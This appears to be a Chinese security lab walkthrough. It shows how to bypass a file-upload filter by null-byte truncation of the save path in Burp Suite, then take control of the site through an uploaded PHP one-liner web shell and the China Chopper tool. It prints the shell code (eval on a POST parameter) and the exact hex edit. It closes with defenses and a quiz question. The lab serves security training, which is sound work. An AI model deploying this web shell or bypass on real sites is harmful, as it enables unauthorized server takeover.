空字节截断目录路径检测绕过类上传漏洞

实验目的
  • 了解空字节截断的原理及其利用方法
  • 掌握Burp Suite改包方法
实验工具

Burp Suite:是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能

实验内容

实验步骤
步骤1:上传正常图片和WEBShell

快速查找实验工具

  • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。
  • 以查找BURP为例为大家演示。

Alt text

准备一张普通的图片,使用*.jpg在电脑上进行搜索,可以看到很多图片,复制一张图片放到桌面上,改名为tupian.jpg

Alt text Alt text

打开目标网站,选取上传图片,点击上传。

Alt text

上传成功后,观察返回的页面信息。

Alt text

可以看到,系统会返回上传成功的信息。

接下来我们尝试上传一句话木马,一句话木马是一种常见的网站后门,短小精悍,而且功能强大,隐蔽性非常好,在渗透测试过程中始终扮演着强大的作用。

首先新建php文件,并写入如下内容:

<?php eval($_POST['1']); ?>

Alt text Alt text

上传PHP文件,发现提示错误,得出结论:PHP文件被禁止上传。

Alt text

步骤2:截断目录绕过上传检测

接下来尝试绕过显示,首先打开BurpLoader,选择 Proxy->Options ,设置BurpLoader代理地址,默认为127.0.0.1、端口:8080

Alt text

接着修改IE的代理设置,修改代理地址以及端口(设置与在BurpLoader中设置的代理地址相同:127.0.0.1、端口:8080)。

不同浏览器设置代理的方法不相同, 此处我们以IE浏览器为例,首先点击右上角的工具-internet选项->连接->局域网设置->代理服务器勾选并设置。

Alt text Alt text Alt text Alt text

我们再打开BurpLoader抓包,进行截断浏览器给服务器发送的数据包,Proxy->Intercept 点击 intercept off改为intercept on,截断的数据包将在关闭抓包的时候发送给服务端。

Alt text

点击上传抓到包之后,可以看到,filename 后面即是我们当前上传的路径,uploading则是保存在服务器上的地址。

Alt text

Alt text

现在我们将uploadimg改为uploadimg/1.php .jpg ,接着我们来到 Proxy->intercept->Hex找到1.php .jpg这个被修改过的代码,找到同一行的数字20,改为00 按一下回车,返回。

**注意 :**20(空格字符的16进制)改成00(截断字符的16进制)这样以来。截断字符后面的都会被截断,也就是忽略掉了,所以uploadimg/1.php .jpg 就变成了uploadimg/1.php 达到了我们上传PHP文件的目的。

Alt text

返回Raw,看到uploadimg/1.php .jpg变成uploadimg/1.php□.jpg,原本的文件服务器保存路径从uploadimg/yijuhua.jpg变为uploadimg/1.php

Alt text

关闭抓包(点击intercept on ->intercept off),上传数据。

Alt text

可以看到上传成功,地址为uploading/1.php。

步骤3:获取WEBShell权限

首先打开中国菜刀软件并填入复制的访问地址,填入你设定的密码,之前我们在“一句话”中设置的密码是1,选择脚本类型为PHP,单击添加按钮,就会看到菜刀上出现一行信息,最后我们双击这条信息后,就可以看到目标网站的目录,这样我们就成功获取到目标网站的WEBShell权限。

Alt text

Alt text

Alt text

最终获取了 Webshell

实验结果总结与思考

本次实验我们学习了如何使用Burp Suite抓包,并利用00截断绕过上传限制,成功上传一句话木马,获取了网站的Webshell。

防御方案

1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等

2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名

3.其他限制,服务器端上传目录设置不可执行权限

第1题:二进制中特殊截断字符为以下哪个?

%0A

%00

%20

%B0

b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值